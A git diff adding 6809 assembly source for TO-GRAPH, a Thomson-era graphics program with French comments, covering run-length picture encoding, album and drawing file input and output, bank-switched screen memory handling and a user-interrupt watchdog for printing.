+       JSR    LECFIC    lire longueur
+       BCS    FINALR    ->
+       TFR    A,B
+       JSR    LECFIC
+       BCS    FINALR    ->
+       EXG    A,B
+       CMPD   #0
+       BEQ    FINARR    vide       ->
+       CMPD   #$3FFE
+       BGT    FINARR    trop grand ->
+       STD    $A000
+       TFR    D,Y
+
+       JSR    LECFIC    passer adr bidon
+       BCS    FINALR    ->
+       JSR    LECFIC
+       BCS    FINALR    ->
+
+*      Chargement
+
+       LDX    #$A002
+       JSR    LECFIC    type écran
+       BCS    FINALR    ->
+       CMPA   #$80
+       BNE    FINARR    # 80 col. ->
+
+BCA1   STA    ,X+
+       LEAY   -1,Y
+       BEQ    FINALC    fini ->
+       JSR    LECFIC
+       BCS    FINALR    ->
+       BRA    BCA1      ->
+
+FINALC LDB    #CLOSE
+       JSR    EXTRA
+       LDA    MEMBK,S
+       STA    BANKC
+       ANDCC  #$FE
+       LEAS   1,S
+       PULS   D,X,Y,PC
+
+FINARR LDB    #78       'bad picture'
+       JSR    DOSERR
+       LDB    #CLOSE
+       JSR    EXTRA
+FINALR LDA    MEMBK,S
+       STA    BANKC
+       LDX    PX,S      album libre
+       NEG    8,X
+       ORCC   #1
+       LEAS   1,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P codage d'un dessin
+*
+* Entrée:  B  0   simple calcul de long.
+*             #0  écriture fichier
+* Sortie:  CY 0   si ok
+*             1   si erreur
+*          D      longueur
+*=======================================
+
+CODDES PSHS   D
+       LEAS   -267,S
+LGFIC  SET    0
+TYPDES SET    2
+LARDES SET    3
+HAUDES SET    4
+MEMBK  SET    5
+PBK    SET    6
+TYPBLK SET    7       00: différents
+*                     FF: répétition
+LGBLK  SET    8       lg bloc
+RPTBLK SET    9       bloc en répet
+PAGEC  SET    10
+BUFCOD SET    11
+PD     SET    267
+PA     SET    267
+PB     SET    268
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+       LDA    CADRNG    *60*8 !
+       LSLA
+       LDB    #60*4
+       MUL
+       ADDB   CADCOL
+       ADCA   #0
+       ADDD   <ADF
+       BCC    CODE10    ->
+       ADDD   #$FFFF-48959
+CODE10 CMPD   #48960
+       BCS    CODE11    ->
+       SUBD   #48960
+CODE11 STD    <ADPRRL
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   #PBKTRA
+       STA    PBK,S
+       LDD    <ADPRRL
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+
+* Init. codage
+       CLR    LGBLK,S   => lecture !
+       CLR    PAGEC,S   page 0
+       LDY    <ADPRRL
+       LDA    PBK,S
+       STA    BANKC
+       LDA    CADHAU
+       STA    HAUDES,S
+       LDA    CADLAR
+       STA    LARDES,S
+       CLRA
+       STA    LGFIC,S
+       STA    LGFIC+1,S
+
+* Boucle de lecture .. Y= ad. RAM
+*                      X= ad. buffer blk
+*                      U= cpt colonne
+BCODS0 LDA    HAUDES,S  # boucle colonne
+       LDB    #8
+       MUL
+       TFR    D,U
+BCODS1 TST    LGBLK,S   # boucle lignes
+       BNE    CODS10
+       INC    LGBLK,S   1er octet bloc
+       LEAX   BUFCOD,S
+       LDA    ,Y
+       STA    RPTBLK,S
+       STA    ,X+
+       LBRA   CODSUI    ->
+
+CODS10 LDA    LGBLK,S
+       CMPA   #1
+       BNE    CODS20    ->
+       INC    LGBLK,S   2ème octet bloc
+       LDA    ,Y
+       STA    ,X+
+       CLR    TYPBLK,S
+       CMPA   RPTBLK,S
+       LBNE   CODSUI    ->
+       COM    TYPBLK,S
+       LBRA   CODSUI    ->
+
+CODS20 TST    TYPBLK,S  bloc en cours
+       LBNE   CODS40    répet. ->
+       LDA    ,Y        bloc différent!
+       STA    ,X+
+       CMPA   -2,X
+       BEQ    CODS30    2 car. ident ->
+       INC    LGBLK,S
+       LDA    LGBLK,S
+       CMPA   #255
+       LBNE   CODSUI    ->
+       LDX    LGFIC,S   bloc diff plein
+       LDB    LGBLK,S
+       ADDB   #2
+       ABX
+       STX    LGFIC,S
+       TST    PB,S
+       BEQ    CODS25    ->
+       CLRA             écrire bloc diff
+       JSR    ECRFIC    ->
+       LBCS   CODSF
+       LDA    LGBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LEAX   BUFCOD,S
+       LDB    LGBLK,S
+CODS21 LDA    ,X+
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       DECB
+       BNE    CODS21    ->
+CODS25 CLR    LGBLK,S
+       LBRA   CODSUI    ->
+CODS30 DEC    LGBLK,S   bloc diff. fini
+       LDX    LGFIC,S
+       LDB    LGBLK,S
+       ADDB   #2
+       ABX
+       STX    LGFIC,S
+       TST    PB,S
+       BEQ    CODS35    ->
+       CLRA             écrire bloc diff
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LDA    LGBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LEAX   BUFCOD,S
+       LDB    LGBLK,S
+CODS31 LDA    ,X+
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       DECB
+       BNE    CODS31    ->
+CODS35 LDA    #2
+       STA    LGBLK,S
+       LDA    ,Y
+       STA    RPTBLK,S
+       LDA    #$FF
+       STA    TYPBLK,S
+       LBRA   CODSUI    ->
+
+CODS40 LDA    ,Y        bloc répetition
+       CMPA   RPTBLK,S
+       BNE    CODS50    fin identiques>
+       INC    LGBLK,S
+       LDA    LGBLK,S
+       CMPA   #255
+       LBNE   CODSUI    ->
+       LDD    LGFIC,S   bloc repet plein
+       ADDD   #2
+       STD    LGFIC,S
+       TST    PB,S
+       BEQ    CODS45    ->
+       LDA    LGBLK,S   écrire bloc rpt
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LDA    RPTBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+CODS45 CLR    LGBLK,S
+       LBRA   CODSUI    ->
+CODS50 LDD    LGFIC,S   fin bloc repet
+       ADDD   #2
+       STD    LGFIC,S
+       TST    PB,S
+       BEQ    CODS55    ->
+       LDA    LGBLK,S   écrire bloc rpt
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LDA    RPTBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+CODS55 LDA    #1
+       STA    LGBLK,S
+       LDA    ,Y
+       LEAX   BUFCOD,S
+       STA    ,X+
+       STA    RPTBLK,S
+
+CODSUI LEAY   60,Y
+       JSR    NEXTF
+       LEAU   -1,U
+       CMPU   #0
+       LBNE   BCODS1    ->
+       COM    PAGEC,S
+       BMI    CODS60
+       LDA    PBK,S     -> page paire
+       SUBA   #3
+       STA    PBK,S
+       STA    BANKC
+       LDY    <ADPRRL
+       LEAY   1,Y
+       JSR    NEXTF
+       STY    <ADPRRL
+       LDA    BANKC
+       STA    PBK,S
+       BRA    CODS69    ->
+CODS60 LDA    PBK,S
+       ADDA   #3
+       STA    PBK,S
+       STA    BANKC
+       LDY    <ADPRRL
+CODS69 DEC    LARDES,S
+       LBNE   BCODS0    ->
+
+       TST    LGBLK,S   dernier bloc ?
+       LBEQ   CODS80    ->
+       TST    TYPBLK,S
+       BEQ    CODS70    ->
+       LDD    LGFIC,S
+       ADDD   #2
+       STD    LGFIC,S
+       TST    PB,S
+       LBEQ   CODS80    ->
+       LDA    LGBLK,S   écrire bloc rpt
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LDA    RPTBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       BRA    CODS80    ->
+
+CODS70 LDX    LGFIC,S
+       LDB    LGBLK,S
+       ADDB   #2
+       ABX
+       STX    LGFIC,S
+       TST    PB,S
+       BEQ    CODS80    ->
+       CLRA             écrire bloc diff
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LDA    LGBLK,S
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       LEAX   BUFCOD,S
+       LDB    LGBLK,S
+CODS71 LDA    ,X+
+       JSR    ECRFIC
+       LBCS   CODSF     ->
+       DECB
+       BNE    CODS71    ->
+
+CODS80 LDD    LGFIC,S
+       STD    PD,S
+       ANDCC  #$FE
+       BRA    CODSEX    fini ->
+
+CODSF  ORCC   #1
+CODSEX LDA    MEMBK,S
+       STA    BANKC
+       LEAS   267,S
+       PULS   D,PC      ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   Pt  recepteur nom
+* Sortie: CY  1  Raz
+*             0  ok
+*        (X)  zone nom rendu
+*=======================================
+
+CZIALB PSHS   U
+       LDU    #XCZIAL
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P ecriture d'un fichier .ALB à
+*     partir d'un album
+*
+* Entrée:  X pt sur album dans table
+*=======================================
+
+ECRALB PSHS   D,X,Y
+       LEAS   -1,S
+MEMBK  SET    0
+*---------------------------------------
+       LDY    #FILNAM   nom défaut
+       LDA    #8
+ECAL0  LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL0     ->
+       LDD    #$414C
+       STD    ,Y++
+       LDA    #$42
+       STA    ,Y+
+
+       LDA    ,X
+       STA    MEMBK,S
+
+       LDX    #MCOMAL
+       LDA    #8
+ECAL00 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL00    ->
+
+       LDD    #$FD22    confirmer nom
+       LBSR   FENLOF
+       LDA    #BKMANO
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MVFICH
+       LBSR   DOSCZI
+       LBEQ   ECALFF    RAZ    ->
+       LBCS   ECALFF    erreur ->
+
+       LDD    #$0312    vérifier non
+       LBSR   FENLOF    existence
+       JSR    DOSTST
+       BCS    ECALFF    existe ->
+
+       LDB    MEMBK,S   album->bank ram
+       LDA    BANKC
+       STA    MEMBK,S
+       STB    BANKC
+
+       LDA    #SQO      #ouverture
+       STA    FILMOD
+       LDA    #2
+       STA    FILTYP    type
+       CLR    ASCFLG    binaire
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       BNE    ECALO     erreur ->
+
+       CLRA             #en tete bloc
+       JSR    ECRFIC
+       BCS    ECALF     ->
+       LDA    $A000     longueur!
+       JSR    ECRFIC
+       BCS    ECALF     ->
+       LDA    $A001
+       JSR    ECRFIC
+       BCS    ECALF     ->
+       CLRA
+       JSR    ECRFIC
+       BCS    ECALF     ->
+       JSR    ECRFIC
+       BCS    ECALF     ->
+
+       LDX    #$A002    #données
+       LDY    $A000
+ECAL1  LDA    ,X+
+       JSR    ECRFIC
+       BCS    ECALF     erreur ->
+       LEAY   -1,Y
+       BNE    ECAL1     ->
+
+       LDA    #$FF      #bloc fin
+       JSR    ECRFIC
+       BCS    ECALF     ->
+       CLRA
+       LDB    #4
+BECBFI JSR    ECRFIC
+       BCS    ECALF     ->
+       DECB
+       BNE    BECBFI    ->
+
+       LDB    #CLOSE    # fin normale
+       JSR    EXTRA
+       BRA    ECALF     ->
+ECALO  JSR    DOSERR    # erreur OPEN
+ECALF  LDA    MEMBK,S
+       STA    BANKC
+ECALFF LEAS   1,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P ecriture d'un dessin limite par
+*     SPCADR sur fichier
+*=======================================
+
+ECRDES PSHS   D,X,Y
+       LEAS   -1,S
+MEMBK  SET    0
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDY    #FILNAM   nom défaut
+       LDX    #DESCOU
+BECDE0 LDA    ,X+
+       STA    ,Y+
+       CMPY   #FILNAM+8
+       BNE    BECDE0    ->
+       LDD    #$4D41    '.MAP'
+       STD    ,Y++
+       LDA    #$50
+       STA    ,Y+
+
+       LDX    #MCOMAL
+       LDA    #8
+BECDE1 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    BECDE1    ->
+
+       LDD    #$0313    saisir nom fic.
+       LBSR   FENLOF
+       LDA    #BKMANO
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MVFICH
+       LBSR   DOSCZI
+       LBEQ   ECDEF     RAZ    ->
+       LBCS   ECDEF     erreur ->
+
+       LDD    #$0919    vérifier non
+       LBSR   FENLOF    existence
+       JSR    DOSTST
+       LBCS   ECDEF     existe ->
+
+       LDA    #SQO      #ouverture
+       STA    FILMOD
+       LDA    #2
+       STA    FILTYP    type
+       CLR    ASCFLG    binaire
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       BNE    ECDEO     erreur ->
+
+       CLRA             #en tete bloc
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+
+       CLRB
+       JSR    CODDES    calcul lgth
+       ADDD   #3        (type+larg+haut)
+       ADDD   #4        (4 fois 0 en fin
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+       TFR    B,A
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+       CLRA
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+
+       LDA    #$80      80 colonnes
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+
+       LDA    CADLAR    largeur - 1
+       DECA
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+
+       LDA    CADHAU    hauteur - 1
+       DECA
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+
+       LDB    #1
+       JSR    CODDES
+       BCS    ECDEF     ->
+
+       LDB    #4        fin image
+       CLRA
+BECFI0 JSR    ECRFIC
+       BCS    ECDEF     ->
+       DECB
+       BNE    BECFI0    ->
+
+       LDA    #$FF      #bloc fin
+       JSR    ECRFIC
+       BCS    ECDEF     ->
+       CLRA
+       LDB    #4
+BECDFI JSR    ECRFIC
+       BCS    ECDEF     ->
+       DECB
+       BNE    BECDFI    ->
+
+       LDB    #CLOSE    # fin normale
+       JSR    EXTRA
+       BRA    ECDEF     ->
+ECDEO  JSR    DOSERR    # erreur OPEN
+ECDEF  LDA    MEMBK,S
+       STA    BANKC
+       LEAS   1,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P copie d'une page écran vers la
+*     zone correspondante de la feuille
+*
+* Entrée: B  0    page paire
+*            1    page impaire
+*         RGDECR  emplacement écran
+*         CLDECR  dans la feuille
+*=======================================
+
+ECRFEU PSHS   U
+       LDU    #XECRFE
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A  car. à ecrire
+* Sortie: CY 0 si ok
+*            1 si erreur (fichier sera
+*                         fermé !)
+*=======================================
+
+ECRFIC PSHS   U
+       LDU    #XECRFI
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P copie vers une page écran de la
+*     zone correspondante de la feuille
+*
+* Entrée: B  0    page paire
+*            1    page impaire
+*         RGDECR  emplacement écran
+*         CLDECR  dans la feuille
+*=======================================
+
+FEUECR PSHS   U
+       LDU    #XFEUEC
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P chargement initial des albums
+*     présents sur la disquette de char.
+*     gement
+*     (fichiers $xxxxxxx.ALB)
+*=======================================
+
+MCALB  FCC    \Chargementalbum:\
+       FCB    0
+*---------------------------------------
+INIALB PSHS   D,X,Y,U
+       LEAS   -2,S
+FLGDIR SET    0
+ALBC   SET    1
+*---------------------------------------
+
+*      calcul du maxima possible
+       LDA    MAXBK
+       DECA             ->nb bank disp.
+       SUBA   #11
+       LDB    #16       maxima!
+       STB    MAXALB
+       TSTA
+       BGT    BRF000    ->
+       CLR    MAXALB
+       LBRA   FINIAL    ->
+BRF000 CMPA   #16
+       BGE    BRF00     ->
+       STA    MAXALB
+
+BRF00  LDA    MAXALB
+       STA    ALBC,S
+
+*      chargement table des albums
+       CLR    NBALB
+       CLR    FLGDIR,S
+       LDX    #TABALB   raz tous postes
+       LDA    #PBKALB
+       NEGA
+       LDB    #16       max !!!
+BRF0   STA    8,X
+       DECA
+       CLR    ,X
+       LEAX   9,X
+       DECB
+       BNE    BRF0      ->
+
+       LDX    #FILNAM   filtre
+       LDB    #$24       $xxxxxxx.ALB
+       STB    ,X+
+BRF1   CLR    ,X+
+       CMPX   #FILNAM+8
+       BNE    BRF1      ->
+       LDD    #$414C
+       STD    ,X++
+       LDA    #$42
+       STA    ,X
+
+       LDX    #TABALB
+BRF2   LDB    #DIR0
+       ADDB   FLGDIR,S
+       JSR    EXTRA
+       TSTB
+       BNE    FINIAL    erreur ->
+       TST    NAMSEC
+       BEQ    FINICN    fin ->
+       LDY    NAMSLT
+       LDA    #8
+BRF3   LDB    ,Y+
+       STB    ,X+
+       DECA
+       BNE    BRF3      ->
+       LEAX   1,X
+       LDA    #1
+       STA    FLGDIR,S
+       DEC    ALBC,S
+       BNE    BRF2      suite charg ->
+
+*      Chargement des albums sélectionné
+FINICN LDA    ALBC,S
+       CMPA   MAXALB
+       BEQ    FINIAL    ->
+       CLR    ALBC,S
+       LDU    #TABALB
+
+BRF4   LDD    #$0A18
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       JSR    SBREAK
+       LBCS   FINIAL    interrompu ->
+
+       LDD    #$0401    visu chargement
+       LDY    #$0120    courant
+       JSR    FENLOF
+       LEAX   MCALB,PCR
+       JSR    FENEDI
+
+       TST    ,U
+       BEQ    INIVID    ->
+       LDA    #8        poste à charger
+       TFR    U,X
+BRF5   LDB    ,X+
+       JSR    FENPUT
+       DECA
+       BNE    BRF5      ->
+
+       TFR    U,X
+       NEG    8,U       si erreur sera
+*                       inv. par CHAALB
+       JSR    CHAALB    chargement->bank
+       BCS    FINIAL    erreur ->
+       STX    ALBCOU
+
+       INC    NBALB
+INIVID LEAU   9,U
+       INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   #16
+       BNE    BRF4      suite ->
+
+FINIAL LEAS   2,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P recherche d'un album dans table
+*         (création si inexistant)
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas de place
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+CHALB  PSHS   U
+       LDU    #XCHALB
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P lecture d'un dessin sur fichier
+*     en la position courante
+*
+* Sortie:  B 0   si ok
+*          B #0  si erreur
+*=======================================
+
+MERDB  FCC    \CADRAGEINSUFFISANT\
+       FCB    0
+
+LECDES LEAS   -11,S
+LGFIC  SET    0
+TYPDES SET    2
+LARDES SET    3
+HAUDES SET    4
+MEMBK  SET    5
+PBK    SET    6
+TYPBLK SET    7       00: différents
+*                     FF: répétition
+LGBLK  SET    8       lg bloc
+RPTBLK SET    9       bloc en répet
+PAGEC  SET    10
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDB    #SQI
+       STB    FILMOD
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       BEQ    LEDE0     ->
+       JSR    DOSERR
+       LBRA   LEDEF     ->
+
+LEDE0  JSR    LECFIC    lecture en tete
+       LBCS   LEDEF     ->
+       TSTA
+       LBNE   LEDER     ->
+       JSR    LECFIC    lecture lg zone
+       LBCS   LEDEF     ->
+       STA    LGFIC,S
+       JSR    LECFIC
+       LBCS   LEDEF     ->
+       STA    LGFIC+1,S
+       JSR    LECFIC    passer 2
+       LBCS   LEDEF     ->
+       JSR    LECFIC
+       LBCS   LEDEF     ->
+       JSR    LECFIC    lire type image
+       LBCS   LEDEF     ->
+       TSTA
+       BEQ    LEDE1     ->
+       CMPA   #$80
+       BEQ    LEDE1     ->
+       LBRA   LEDER     ->
+
+LEDE1  STA    TYPDES,S
+       JSR    LECFIC    lire largeur
+       LBCS   LEDEF     ->
+       INCA
+       STA    LARDES,S
+       JSR    LECFIC    lire hauteur
+       LBCS   LEDEF     ->
+       INCA
+       STA    HAUDES,S
+       ADDA   RGDECR
+       CMPA   #103
+       LBCC   LEDED     debord ->
+       LDA    CLDECR
+       LSLA
+       ADDA   LARDES,S
+       CMPA   #121
+       LBCC   LEDED     debord ->
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+       LDA    <RGDECR   *60*8 !
+       LSLA
+       LDB    #60*4
+       MUL
+       ADDB   <CLDECR
+       ADCA   #0
+       ADDD   <ADF
+       BCC    LEDE10    ->
+       ADDD   #$FFFF-48959
+LEDE10 CMPD   #48960
+       BCS    LEDE11    ->
+       SUBD   #48960
+LEDE11 STD    <ADPRRL
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   #PBKTRA
+       STA    PBK,S
+       LDD    <ADPRRL
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+
+* Init. décodage
+       CLR    LGBLK,S   => lecture !
+       CLR    PAGEC,S   page 0
+       LDY    <ADPRRL
+       LDA    PBK,S
+       STA    BANKC
+
+* Boucle de lecture .. Y= ad. RAM
+*                      U= cpt colonne
+BLEDE0 LDA    HAUDES,S  # boucle colonne
+       LDB    #8
+       MUL
+       TFR    D,U
+BLEDE1 TST    LGBLK,S   # boucle lignes
+       BNE    LEDE25    bloc en cours ->
+       JSR    LECFIC    bloc a lire
+       LBCS   LEDEF     ->
+       STA    TYPBLK,S
+       STA    LGBLK,S
+       JSR    LECFIC
+       LBCS   LEDEF     ->
+       TST    TYPBLK,S
+       BEQ    LEDE20    bloc diff. ->
+       STA    RPTBLK,S  bloc repet
+       BRA    LEDE25    ->
+LEDE20 STA    LGBLK,S
+LEDE25 TST    TYPBLK,S
+       BEQ    LEDE26    bloc diff. ->
+       LDA    RPTBLK,S  bloc repet
+       BRA    LEDE27    ->
+LEDE26 JSR    LECFIC
+       LBCS   LEDEF     ->
+LEDE27 DEC    LGBLK,S
+       STA    ,Y
+       LEAY   60,Y
+       JSR    NEXTF
+       LEAU   -1,U
+       CMPU   #0
+       LBNE   BLEDE1    ->
+
+       COM    PAGEC,S
+       BMI    LEDE50    ->
+       LDA    PBK,S     -> page paire
+       SUBA   #3
+       STA    PBK,S
+       STA    BANKC
+       LDY    <ADPRRL
+       LEAY   1,Y
+       JSR    NEXTF
+       STY    <ADPRRL
+       LDA    BANKC
+       STA    PBK,S
+       BRA    LEDE59    ->
+LEDE50 LDA    PBK,S     -> page impaire
+       ADDA   #3
+       STA    PBK,S
+       STA    BANKC
+       LDY    <ADPRRL
+LEDE59 DEC    LARDES,S
+       LBNE   BLEDE0    ->
+
+       LDB    #CLOSE
+       JSR    EXTRA
+       CLRB
+       BRA    LEDEF     fini ->
+
+LEDED  LEAX   MERDB,PCR
+       JSR    FENERR
+       BRA    LEDEC     ->
+LEDER  LDB    #78       'Bad picture'
+       JSR    DOSERR
+LEDEC  LDB    #CLOSE
+       JSR    EXTRA
+       LDB    #$FF
+LEDEF  LDA    MEMBK,S
+       STA    BANKC
+       LEAS   11,S
+       RTS
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A  car. lu si ok
+*         CY 0 si ok
+*            1 si pb -> erreur traitée
+*                       fichier fermé
+*=======================================
+
+LECFIC PSHS   U
+       LDU    #XLECFI
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P test bouclage sur une des pages de
+*     la feuille
+*
+* Entrée: Y     ad. feuille
+*         BANKC bank actif feuille
+* Sortie: idem !
+*=======================================
+
+NEXTF  EQU    *
+*---------------------------------------
+       CMPY   #$DF40
+       BCS    NEXTFF    ->
+       LDA    BANKC
+       CMPA   #PBKTRA+2
+       BEQ    NEXTF0    ->
+       CMPA   #PBKTRA+5
+       BEQ    NEXTF0    ->
+       CMPY   #$E000
+       BCS    NEXTFF    ->
+       LEAY   -$4000,Y
+       INC    BANKC
+       BRA    NEXTFF    ->
+NEXTF0 LEAY   -$3F40,Y
+       SUBA   #2
+       STA    BANKC
+NEXTFF RTS
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas trouvé
+*             0  ok
+*         X   pt dans table si ok
+*             non modifié sinon
+*=======================================
+
+PTALB  PSHS   U
+       LDU    #XPTALB
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P raz de l'écran de travail
+*=======================================
+
+RAZE   PSHS   U
+       LDU    #XRAZEC
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P raz de la feuille de travail
+*=======================================
+
+RAZF   PSHS   U
+       LDU    #XRAZFE
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   =0  => visu seule
+*             =-1 => sélection
+*         Y   nb niv. à remonter si ok
+*             (aucun si <0 )
+* Sortie: CY  1  Raz ou pas d'album
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+SELALB PSHS   U
+       LDU    #XSELAL
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P visualisation de l'ascenceur bas
+*=======================================
+
+VISASB PSHS   U
+       LDU    #XVISAB
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P visualisation de l'ascenceur droit
+*=======================================
+
+VISASD PSHS   U
+       LDU    #XVISAD
+       JSR    COMBK2
+       PULS   U,PC
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM
new file mode 100644
index 0000000..93e8425
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-IP.ASM
@@ -0,0 +1,1051 @@
+       TITLE  TO-GRAPH: Cadrage/Impressi
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Cadrage/Impression   GRAPH-IP     *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P Activation d'un chien de garde
+*
+* Entrée: U   ad. en cas d'arret
+*=======================================
+
+ACTDOG LDA    $E7E6
+       STA    BKDOG
+       STU    ADRDOG
+       LEAU   2,S
+       STU    STKDOG
+       TFR    DP,A
+       STA    DPDOG
+       LDA    #1
+       STA    FLGDOG
+       RTS
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+*         XT1,YT1 coord. fin
+*=======================================
+
+CLRTIR LDU    #XCLRTI
+       JMP    COMBK2
+
+
+*=======================================
+* S/P impression d'un fragment de page
+*     limité par CADRNG-CADCOL
+*                CADHAU-CADLAR
+* Entrée  B interrupteur pleine page
+*=======================================
+
+IMPPAG LDU    #XIMPPA
+       JMP    COMBK2
+
+
+*=======================================
+* S/P initialisation du Chien de garde
+*=======================================
+
+INIDOG LDX    #DDOG
+       LDY    #XDOG
+INID0  LDA    ,X+
+       STA    ,Y+
+       CMPX   #FDOG
+       BNE    INID0     ->
+       CLR    FLGDOG
+       LDD    #XDOG     activation
+       STD    TIMEPT
+       LDA    STATUS
+       ORA    #$20
+       STA    STATUS
+       RTS              ->>
+
+DDOG   TST    FLGDOG    ## TACHE IT ##
+       BEQ    EXITIT    non actif ->
+       JSR    GETC
+       TSTB
+       BNE    CNFDOG    cnf ->
+       JSR    LPIN
+       BCC    EXITIT    ->
+CNFDOG TFR    S,X       confirmation
+       LEAS   -12,S     hors IT par
+       TFR    S,Y       ATTDOG
+       LDB    #12
+DDOG0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    DDOG0     ->
+       LDD    #XDOG+ATTDOG-DDOG
+       STD    10,S
+       CLR    FLGDOG
+*
+* RTI va aller en ATTDOG au lieu point
+* interrompu !!!
+
+EXITIT JMP    KBIN      ->>>>
+
+ATTDOG TFR    S,X       pile provisoire
+       LDS    STKDOG
+       LEAS   -20,S
+       PSHS   X
+       LDX    #$6100    sauve extra
+       LEAY   -712,S
+ATTDO9 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$6300
+       BNE    ATTDO9    ->
+       LDB    REGY+1    test d'interupti
+       LSRB
+       LSRB
+       LSRB
+       CMPB   #14
+       BLE    ATTDO0    ->
+       LDB    #14
+ATTDO0 CMPB   #5
+       BGE    ATTDO5    ->
+       LDB    #5
+ATTDO5 PSHS   B
+       LDD    REGX
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       CMPB   #50
+       BLE    ATTDO1    ->
+       LDB    #50
+ATTDO1 PULS   A
+       LEAX   -200,S
+       JSR    TBREAK
+       BCC    ATTDON    ->
+       LDA    BKDOG     confirmé
+       STA    $E7E6
+       LDA    DPDOG
+       TFR    A,DP
+       LDS    STKDOG
+       LDX    ADRDOG
+       JMP    ,X               ->>>>
+
+ATTDON LDX    #$6100    restaure extra
+       LEAY   -712,S
+ATTDO8 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$6300
+       BNE    ATTDO8    ->
+       PULS   X
+       TFR    X,S
+       COM    FLGDOG
+       PULS   CC,D,DP,X,Y,U,PC ->>>>
+FDOG   EQU    *
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X     coord. dans tiroir
+*         CPTLT
+* Sortie: Z   bit nul ou non
+*=======================================
+
+LECTXY LDU    #XLECTX
+       JMP    COMBK2
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0   coord. début
+*        XT1,YT1   coord. fin
+*=======================================
+
+LITTIR LDU    #XLITTI
+       JMP    COMBK2
+
+
+*=======================================
+* S/P modification du tiroir
+*     Nb: la souris est en REGX/REGY
+*=======================================
+
+FFMODT FCB    FLOCF,0,0,13,14
+       FCB    FTRAME,FTOURI
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,11,12
+       FCB    FFOND,FTOURE,FCADRE
+
